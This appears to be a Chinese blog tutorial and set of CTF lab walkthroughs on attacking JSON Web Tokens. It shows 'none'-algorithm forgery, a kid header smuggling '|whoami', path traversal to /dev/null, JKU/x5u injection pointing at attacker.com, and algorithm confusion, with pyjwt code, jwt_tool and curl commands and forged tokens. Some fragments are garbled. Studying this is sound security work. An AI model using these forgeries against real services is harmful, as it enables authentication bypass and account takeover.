赞
踩
0x01 JWT基础知识
1.JWT简介
JWT全称为JSON Web Token,将json对象作为载体来传输信息。通常用于身份认证和信息交换。JWT 可以使用密钥(HMAC 算法)或使用 RSA 或 ECDSA 的公钥/私钥对自身进行签名
2.JWT格式
每当用户访问站点中的资源时,对应的请求头认证默认为Authorization: jwt,JTW令牌认证以eyJ开头
JWT的数据头部如下:
JWT的数据分为三部分:头部(Header),有效载荷(Payload),签名(Signature)
三个部分以英文句号.隔开,JWT的内容以Base64URL进行了编码
下面就是一个具体token的例子:
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
Header: eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
base64解码:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}
Payload: eyJzdWIiOiJkdWJoZTEyMyJ9
Signature 需要使用编码后的 header 和 payload 以及我们提供的一个密钥,然后使用 header 中指定的签名算法通常是RS256(RSA非对称加密和私钥签名)和HS256(HMAC SHA256对称加密)算法进行签名。签名的作用是保证 JWT 没有被篡改过
下面是一个用HS256生成Jw=WT的代码例子
HMACSHA256(base64Encode(header) + "." + base64urlEncode(payload),secret)
Signature:
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
使用python3的pyjwt模块,修改payload中的数据,利用签名算法none漏洞,重新生成令牌
>>> import jwt
>>> encoded = jwt.encode({"iss": "https://demo.sjoerdlangkemper.nl/","iat": 1662737965,"exp": 1662739165,"data": {"hello": "admin" }}, '', algorithm='none')
>>> encoded
'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19.'
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
{
"typ": "JWT",
"kid": "keys/3c3c2ea1c3f113f649dc9389dd71b851k|whoami",
"alg": "HS256"
}
得到的token:
eyJ0eXAiOiJKV1QiLCJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxa3x3aG9hbWkiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.yRBA6iUYepL129lB3YL3FXYZ_ducatRLJnpdFiG9lf0
在某些情况下,令牌可能会使用网络服务器 SSL 连接的私钥进行签名。获取 x509 并从 SSL 中提取公钥:
- $ openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem
- $ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
2.API 泄露公钥
为了验证令牌,服务可以通过 API 端点(例如/API/v1/keys)泄露公钥
Deconstructed:
{"typ":"JWT","alg":"RS256", "jku":"https://ticarpi.com/jwks.json"}.
{"login":"ticarpi"}.
生成的token认证:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vdGljYXJwaS5jb20vandrcy5qc29uIn0.eyJsb2dpbiI6InRpY2FycGkifQ.hwgF2BnpRgSBJ2gnGoo-Uv1DA33wc8Nxr59AuLneSIqEITGNvQofpp3n0Afd_97kPLcITqJo84_jxTACupicK8yKT-pA8C4isgPN9dXNfHoUDOyTyd_jiKjCXAv9fh5sXPcUJpf06ok-Sw7ZvAN0sD_jVJv6iksZ6yMkSsmjpYO7LPmJb99We465tbrhauNdKfY-pVQCtEGHwZYvrXEr0fSgq018QA_n7N6DvtjxqcAuG0HcmBSWyzmbzl-OegnkWLj1r4_9v3aMxU8Lohsvha9haHW1ShpBdZlijKqXSZ9FQ1dU96-JQsbqMqGHLlEQqLxMNIrUQs2Vc0EGUaWu9
修复方案:JWT 配置应明确定义允许哪些 JWKS 文件和URL进行认证访问
如果特定令牌只能使用一次怎么办?让我们想象一个场景,当用户编写一个生成的令牌以执行我们API中的DELETE方法时。然后,例如1天后(理论上他不再拥有相应的权限)之后,他尝试再次使用它(所谓的重播攻击)。
为此,请使用以下声明:jti和exp。Jti(JWT ID)是令牌标识符,必须是唯一的,而exp是令牌到期日期的定义。这两个字段的组合将使我们在适当程度上缩短令牌的有效性及其唯一性。
因此 token 的令牌失效时间建议设置为2小时失效
标题中 jku 和 x5u 都是放在 JWT Header 中的,使用 URL 方式用于提供密钥。目前 jku、x5u 问题产生在于没有严格限定 URL ,使得 Server 端随其请求其他 URL 的密钥验证 JWT。
(1) JKU注入
jku(JWK Set URL)表示把公钥放在 URL 中通过访问 URL 来获取密码进行签名,这样就可以灵活切换密钥。
- {
- "alg": "RS256",
- "typ": "JWT",
- "jku": "https://example.com/jwks.json"
- }
https://example.com/jwks.json 对应公钥类似下面格式,这组数据叫 jwks(JSON Web Key Set),意思是用 JSON 数据表示多个密钥,相对应单个密钥放入 JSON 就是 JWK。
- {
- "keys": [
- {
- "alg": "RS256",
- "e": "AQAB",
- "kid": "5N0bTJKpSWJxDlgM86/ni8p4M/0Z6HyhG085sOr+y8w=",
- "kty": "RSA",
- "n": "gd1BjHCazeeSnCtJtK5CQHLi7pkmAihIvBWhUuSpNzgVrwsWzQspCQ9qRKsaZOtuJcbFJd0cgJYiO-egH-aheI8b2OIsi_VWjq9Gf2BkFk8ZyuErBJml6aJmf_o4lOblnbAN4Tw8_W5_SA0E3N_vU5Ay9ruCykKkiVShOejRJzqey58bcVmSv3aAggsY8_GuLWuSZ9BhWeuEwp-Dx3wsGknmES2NDoko4vtTHFb_p32B0G1YKYtoY-n3IligDGOghT_sFrjTXPBNn27gkFI-38soHTttShepXQYPDUaOJYyh7NovhoOCntRBlqeFgvtYfWj-iLj5ISeAhhn1Phuk1Q",
- "use": "sig"
- },
- {
- "alg": "RS256",
- "e": "AQAB",
- "kid": "ibXf2UfPH/nPTmK/5EpdwBnrIbOIdcJUxL7/z/LLtr4=",
- "kty": "RSA",
- "n": "iMydXmbxVDUWW7tkCmtLTpKfPRxdjtOtIhGxW9kKP7NId1-l2jh2kZ8aklOUk0r9hk62jrtfcpradtmL11INpH_mUfDD-F5f1BgNAIjcel5-eIVxzRKUbrBgifwFDwVFFs9G7n8XLX2eCopmtewg3xcSRwcVVYQeSY75KqgkWT9ngYmeSoG4He5AhmN0DpDoSUc4E_LCzqGaGoAHSGmr4Zrt3MAF_ewlaDUs55WM_5PzIxp5OvFxiVDl82QJ9acEjreiQ-9L7k2ujkZs8ZkgUTLFljGCr4A-Q2ylEndFFjwMBp3OMcd_BBGTb7zfDTAyZ6ogQPy_i3Vr7d5PA5DYUw",
- "use": "sig"
- }
- ]
- }
JSON 中包含一个 keys 数组,里面放着两个公钥,它们 key name 都是一致,意思如下:
其余关于加密的 key 请查看 JWE。
JKU 利用方法:原理是指定 jku header url 让 server 取我们指定的 key 验证。
利用步骤:
1.本地生成公私钥
openssl genrsa -out keypair.pem 2048 # 生成 RSA 私钥
- openssl rsa -in keypair.pem -pubout -out publickey.crt # 生成公钥
- openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out privatekey.key # 生成私钥
2.篡改 JWT,使用本地生成的公钥和私钥通过在线网站http://jwt.io进行签名。
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vdGljYXJwaS5jb20vandrcy5qc29uIn0.eyJsb2dpbiI6InRpY2FycGkifQ.hwgF2BnpRgSBJ2gnGoo-Uv1DA33wc8Nxr59AuLneSIqEITGNvQofpp3n0Afd_97kPLcITqJo84_jxTACupicK8yKT-pA8C4isgPN9dXNfHoUDOyTyd_jiKjCXAv9fh5sXPcUJpf06ok-Sw7ZvAN0sD_jVJv6iksZ6yMkSsmjpYO7LPmJb99We465tbrhauNdKfY-pVQCtEGHwZYvrXEr0fSgq018QA_n7N6DvtjxqcAuG0HcmBSWyzmbzl-OegnkWLj1r4_9v3aMxU8Lohsvha9haHW1ShpBdZlijKqXSZ9FQ1dU96-JQsbqMqGHLlEQqLxMNIrUQs2Vc0EGUaWu9
访问服务器中的jwks.json的内容如下:
- {
- "alg": "RS256",
- "e": "AQAB",
- "kid": "ibXf2UfPH/nPTmK/5EpdwBnrIbOIdcJUxL7/z/LLtr4=",
- "kty": "RSA",
- "n": "iMydXmbxVDUWW7tkCmtLTpKfPRxdjtOtIhGxW9kKP7NId1-l2jh2kZ8aklOUk0r9hk62jrtfcpradtmL11INpH_mUfDD-F5f1BgNAIjcel5-eIVxzRKUbrBgifwFDwVFFs9G7n8XLX2eCopmtewg3xcSRwcVVYQeSY75KqgkWT9ngYmeSoG4He5AhmN0DpDoSUc4E_LCzqGaGoAHSGmr4Zrt3MAF_ewlaDUs55WM_5PzIxp5OvFxiVDl82QJ9acEjreiQ-9L7k2ujkZs8ZkgUTLFljGCr4A-Q2ylEndFFjwMBp3OMcd_BBGTb7zfDTAyZ6ogQPy_i3Vr7d5PA5DYUw",
- "use": "sig"
- }
本地生成的公钥和私钥内容如下:
将产生的public key完整得粘贴到公钥处,修改jku的地址为:http://www.backlion.com/jwks.json
得到伪造后的token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vd3d3LmJhY2tsaW9uLmNvbS9qd2tzLmpzb24ifQ.eyJsb2dpbiI6InRpY2FycGkifQ.Ty5uIOx8Q1nm45m5uR4RDXVvmQh6wziSkt_k4S104QuZe7lZ644e-D8IBoHoeKzBA1syeTdlmxt4dOXMTHvH_aL8lS9W74YW9KtjXviedtNu91T7FtCr3ABmluzHOMa6-rUSe0pPwi2tqZ6HhsNSe3_cfCLApjSk2BTRuu3G5YpIZhFTHCMENbp6OhCcnCdKISw-CzjNtPfY1BvWynW3A__HxAp2btmpXXx8GvX0uyT4wnl2UGFiPQgZFB1xjs7vE0467C9TbdPYy5fcH-1YcDLoUp_tK6lmCaDsfYvaVg44dbyPhnJDFko4xg2OzH3njmBtfyIKTSWL91_ZFwIYLg
from Crypto.PublicKey import RSA
with open("publickey.crt", "r") as file:
key = RSA.importKey(file.read())
print("n:", hex(key.n))
print("e:", hex(key.e))
n: 0xd9ebd4a8df4a79ad1ab274af04baf7631cea6bb18ca1a94299974983c47db0116a7ce0d088504b0481e3ff9db64ec75c8ba50c485e44b3c24df8c5bf27d41d55f40561ec0352e505ebd8935571c8df9d02cf73b83e1b2fe00334734bd5c67d113280c174f540dfca9b43909f935fb0c5cc940ff2c3207d7ad95d1bc75a4b99a32ab316be42dfeec82191a753bcfa7f6f801a458101f800b4a35597c46857b89b071b9b0231f8913f7c8b6c29c8197b201db62ce43598dc94f6ee7f2743356b5ddad3afd57f454e0532b499b642e89d6ff51f74635eee54eea7cd4715b3b868896e489e8dea9ad78a8a3a48fb51aa130f6e5a1b4ba9a18645a6e2a1acb16fdc4f
e: 0x10001
将本地获取到的n和e分别替换JWK 公钥文件jwks.json中的n和e ,得到伪造后的的jwks.json文件
{ "alg": "RS256", "e": "10001", "kid": "ibXf2UfPH/nPTmK/5EpdwBnrIbOIdcJUxL7/z/LLtr4=", "kty": "RSA", "n": "d9ebd4a8df4a79ad1ab274af04baf7631cea6bb18ca1a94299974983c47db0116a7ce0d088504b0481e3ff9db64ec75c8ba50c485e44b3c24df8c5bf27d41d55f40561ec0352e505ebd8935571c8df9d02cf73b83e1b2fe00334734bd5c67d113280c174f540dfca9b43909f935fb0c5cc940ff2c3207d7ad95d1bc75a4b99a32ab316be42dfeec82191a753bcfa7f6f801a458101f800b4a35597c46857b89b071b9b0231f8913f7c8b6c29c8197b201db62ce43598dc94f6ee7f2743356b5ddad3afd57f454e0532b499b642e89d6ff51f74635eee54eea7cd4715b3b868896e489e8dea9ad78a8a3a48fb51aa130f6e5a1b4ba9a18645a6e2a1acb16fdc4f", "use": "sig" }
下一步我们可以使用python的SimpleHTTPServer快速搭建服务器,将伪造后的的jwks.json文件上传到服务器中。
python -m SimpleHTTPServer 8080
(2)x5u注入
x5u(X.509 URL),也是将 X.509 公钥证书放在 URL 中。
在 JWT 中放入 Header 使用。
- {
- "alg": "RS256",
- "typ": "JWT",
- "x5u": "https://example.com/jwks.crt"
- }
X5U 利用方法:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attack.key -out attack.crt
提取 attacker.crt 证书公钥输出重定向到 publicKey.pem 文件。
openssl x509 -pubkey -noout -in attack.crt > publicKey.pem
最终得到新的token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vd3d3LmJhY2tsaW9uLmNvbS9qd2tzLmpzb24ifQ.eyJsb2dpbiI6InRpY2FycGkifQ.pWDnDPvAWhjaX-XuRg5QnkglsK31j-floya2IBYIJUY4KSk1kGNDbSTu7FuaL0nPBCp5erzwfIFK_KqoGt6bGOG0gKg6QRErN2oxjfSdNPGFrva4mr0yqJqXtfMmyw60F3omCpHo6hJ6UE6SkYpB93T2WIe8sZAfmyT1el8FllyhtX3oNrDyblgTQijeyGHYDQoA5TjUhiKXDewSQSBi-Sow__Y5Qh9966OueEW1si041LZki4o9DP24NYGvhGNhfBHBym1qoBPPtrWs02lGm4CiJbr4YcytszzG20ocaunIHcPNrZKSHTzGodWOeNDmwvFFxCTZ6zJ_AbFExIByGw
或者使用jwt脚本:
python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"
1.JSON Web Token (JWT) - Introduction——签名算法可被修改为none
http://challenge01.root-me.org/web-serveur/ch58/
以guest身份登陆,在响应cookie中返回了JWT的值
bp截断获取jwt
jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk
查看有效载荷
https://jwt.io
使用python3的pyjwt模块,使用admin有效载荷,利用签名算法none漏洞,重新生成令牌
>>> import jwt
>>> encoded = jwt.encode({'username': 'admin'}, '', algorithm='none')
>>> encoded
'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.'
或者
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk -X a
我们都知道jwt签名时候都需要一个密钥。如果这个密钥是弱密钥的话,是可以爆破出来的
访问主页,提示使用get方式请求token页面,然后使用token通过post访问admin页面
先访问token页面
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw
https://www.root-me.org/fr/Challenges/Web-Serveur/JSON-Web-Token-JWT-Cle-publique
尝试将签名算法RS256修改为HS256
python3 jwt_tool.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluO1xyXG4ifQ.AV5axWZwPrFbjCvxZ7Q1wzgsqwgQBRCNlPqIQEch8lHbIcIs8odndPwN3BFjPWNSYbrsAxRxM6hZLz7Ln-7rOFBeGfqR1xx0AvB_6QR-o8usqKRyHm7uvMLvBYJSCM4ed650d-pekR9sqAwDicta4-Pb_rxt7bteE2-bc09o_98wFXVB1MS0T4MVQVcJyG8VM3-b0AmAG7msULREpGCz09tKczSYljhS0OxR802kZkpKdmSazRUGMuP1hjTx2F2rV4Jveufj-ihXeZKNP4pB7mijPjvRrnnj1hHb3IffBIVgMTF269HaiuFMavJQcC-assAYOBxmm10OOnXHl3KUug -X k -pk public.pem
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRpbWVcclxuXHJcbiJ9.i88Z8PFUn-_Sjcw1mmNG5G9OHlyjwwwEAPlYk0rMKoI
让我们查看一下源代码:
access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3)) ret = { 'access_token': access_token, } with lock: blacklist.add(access_token)
令牌的生命周期为 3 分钟。不管我有多快,提交的toekn请求都是被撤销,令牌一被创建就会被列入黑名单。
所以我们需要一个有效的令牌,但不是被列入黑名单。甚至令牌本身也没有列入被黑名单,而jwt的值是 BASE64 表示。
根据BASE64 的特性:在某些情况下,BASE64 字符串的末尾可能有一个或两个“=”符号,它们的值是相等的。
尝试在令牌中末尾添加=,请求JWT认证,可获得flag
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjI3OTYxNTksIm5iZiI6MTY2Mjc5NjE1OSwianRpIjoiYmFhMGRhMWItNjM0NS00ZWIwLTgzMmUtODZhMzcwYzMxYWUxIiwiZXhwIjoxNjYyNzk2MzM5LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.GH7_2m1UQX57wQ6qI5eFonPdjdsUYD87FAGnM575lsg=" http://challenge01.root-me.org/web-serveur/ch63/admin
尝试在将token中的下划线_,替换成/,请求JWT认证,也可获得flag
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjI3OTc5NTgsIm5iZiI6MTY2Mjc5Nzk1OCwianRpIjoiMTcwMmJhYzAtMzEwMi00NjAyLTk2YjgtNzU1ODlmMjRjZDg5IiwiZXhwIjoxNjYyNzk4MTM4LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.Ln8xsAmrgWVJvxUlLRBZHNILvnYfUN7cXMTf6vk6L/Y" http://challenge01.root-me.org/web-serveur/ch63/admin
根据题目提示,这里需要将role的guest修改为admin
使用python3的pyjwt模块,利用签名算法none漏洞,重新生成令牌
>>> import jwt
>>> encoded = jwt.encode({"username": "admin","password": "admin","role": "admin"}, '', algorithm='none')
>>> encoded
'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.'
使用python3的pyjwt模块,利用签名算法HS256漏洞,重新生成令牌
再重新加密:
>>> import jwt
>>> encoded = jwt.encode({"username": "admin","password": "admin","role": "admin"}, 'bffl', algorithm='HS256')
>>> encoded
'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.PUXXdoUwnrERGR43u8pWyHZn_h4UOQGN0E-ML7DJV68'
>>>
或者通过jwt.io进行修改
>>> import jwt
>>> encoded = jwt.encode({"iss":"admin","iat":1662880531,"exp":1662887731,"nbf":1662880531,"sub":"admin","jti":"5a63a2e9d54b9b2345c8d94a80c7e321"}, '', algorithm='none')
>>> encoded
'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2Mjg4MDUzMSwiZXhwIjoxNjYyODg3NzMxLCJuYmYiOjE2NjI4ODA1MzEsInN1YiI6ImFkbWluIiwianRpIjoiNWE2M2EyZTlkNTRiOWIyMzQ1YzhkOTRhODBjN2UzMjEifQ.'
下载了两个文件,按照官方文档伪造jwt应该用私钥,参见Usage Examples — PyJWT 2.3.0 documentation
通过私钥文件脚本加密得到token:
import jwt
private_key = open('private.key', 'r').read()
payload={"user":"admin","iat": 1662886231}
print(jwt.encode(payload=payload, key=private_key, algorithm='RS256'))
- const jwt = require('jsonwebtoken');
- var fs = require('fs');
- var privateKey = fs.readFileSync('public.key');
- var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
- console.log(token)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2NjI4OTA3NDl9.wcilipDOpHHy0o8_FNXyRnm4Szltxun7k6vGpUYWx_A
参考 Attacking JSON Web Tokens (JWTs) 5. Use arbitrary files to verify 小节解决了问题,kid 设置为 /dev/null,这在 Linux 下可以绕过。
-I 对当前声明进行注入或更新内容,-hc kid 设置现有 header 中 kid,-hv 设置其值为 "../../dev/null",-pc 设置 payload name,-pv 设置 name 值为 "admin"
jwk
添加了一个包含公钥的参数
kid
参数的值替换为上传的jwks.json中的kid的值
jku
参数添加到 JWT 的标头中。其值设置为上传的jwks.json的url地址
- {
- "kid": "86619e54-73bf-4b4b-bb35-a0cedd2db090",
- "alg": "RS256",
- "jku":"https://exploit-0a1600b903452ed0c167274e01aa0014.web-security-academy.net/exp/jwks.json"
- }
sub
声明的值更改为
administrator
k
属性值替换为 Base64 编码的空字节 (
AA==
),如图
1.使用 Burp 中的JWT 编辑器扩展将 JWK 转换为 PEM ,如下所示:
{"kty":"RSA","e":"AQAB","use":"sig","kid":"0f61c581-485b-4a0a-acbf-0989cbe7e160","alg":"RS256","n":"wdY5WU21kdt9TXvTiprwgO9aVYodHpfw2NR7FzcIXpQMqeuE6OoTy0DFrDRl8SfZfoHSaIDOFUAdyAdoWro1xSX2fBAZqBUQNDWCh9agcE0kI0-cAn_lMfPJ9da0xspJNNca35DShWNuTVo8B1rCmO9CDz3frml51CW1J3qSqPzQRnWvcFnWFGWIDEwllBTDH9XY1sPCSDmC-uPkeV78c2JHqqGAiIXAQ9DQuT2ra8Eo7_44EO15HT5WlCoWKQ8jPX8HH40DvlwtOTTk0b6pGA3dPQJNoOzYEOwyY1ze-4pNalFCKfb8CItJxvMXCaT9ZZNXqsSU3mAkPBEeLd9I0Q"}
- {
- "kty": "oct",
- "kid": "4ba4ff0a-505d-4bee-a919-e5a6749a156b",
- "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzWUEvWXFZT3RSQ2llTXduNkdXMwpkMDQ4eU5TMU5rNGFhTklMQ3hoeWt5aFZvQlZzZUFGSDhFNEFhaXdwM05OamdiVVpQOEc5aThVUWErdnRxZzZrCkN5U0ViemlWYmZ2ZG9MVTdDL25ZUEZYdjd3M0YyVzM3VUJYY0V0SWc4UG1uOVYzTmlnS0hrdFRTVG1nSy9kR1UKc2pmNnBFcnlBSEtoQ0tBNFp2NFZDTmVjejRubncvRVlMM3RtbHlNdCtSZTk1ay9Dei9WSFE5cHJQclhaQXZaQwpCbXhiVmlVeGtZcTVCK0NhSDl6RDRmZUgwTGpjRmtwRHFuNXBHdGgvc0hxdDA4cXJUSFFvY0hGb3ZrLzhOU1NlCm5iRmpmQmJ4ZWtzS083cXExb1B1YWNJMHl4dE1FZDFTVkw1U2xCLzhQRUZkNzRVbnhxNVQ5VzNxKy8wZEZnWGQKU3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
- }
- $ docker build . -t sig2n
- $ docker run -it sig2n /bin/bash
- container$ python3 jwt_forgery.py <token1> <token2>
参数:token1:第一次登录系统获得的jwt值 ,token2:退出第一次系统,然后重新登录后获得的jwt值
1.获取服务器生成的两个JWT
k
值替换为刚刚已生成的公钥文件转换成base64内容的值
- {
- "kty": "oct",
- "kid": "ce2efa0f-50e5-40b9-89dd-548af4d039ef",
- "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF1QnoxUEhlczIwZDhwd0xic1FzMgo1TFZoMURFVGxlaGdzbnYyckpsRjdaYWdRc25wVkk0Z3ljWC9DK0h3S3ZvbllSTnpGM0lnZGhiY3IvcUluSSs1Ckdib3hidm4zWGdHdnYyTXlGVFNocG9XWndUQ3NrTmdhMTZHcDVHWWlVdGlJVlhuQ1dxUjVjTjhrblRwK1RRaFEKSGFuWlc1aFEyTkpkQWZMS2lZbXpjeURIUjJsQThBTDFyb0ZOeFdtMHJ0aUtiVWRHMjJERDRTSEdZS1hteFVFNApWNDIvMzBHamdERFgrV2dUbmV3N0Zqb3NPOWJGblNTdCtiYVlNOHA0N290enlsYzA4Q3FrbDFLSEJCMGVuWFRYCitDZjR0WG9nR1RUYTU2T0ZadlV3TFBncEpPdExET0JnMjZBYUhnQ25QWkoraXZFQituVU5JNjRicVk3Z3hWK3MKbFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t"
- }
alg
参数设置为
HS256,将sub
声明的值更改为administrator
通过对众多靶场案例漏洞测试,其中弱密钥、密钥泄露、不校验签名、信息泄露这些问题出现的居多,像更改 Header 不使用签名,暂时在实际生产环境中没遇到过。测试方面遇到 JWT可利用 jwt-tools 工具进行测试,将所有已知漏洞都测试一遍,避免遗漏。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。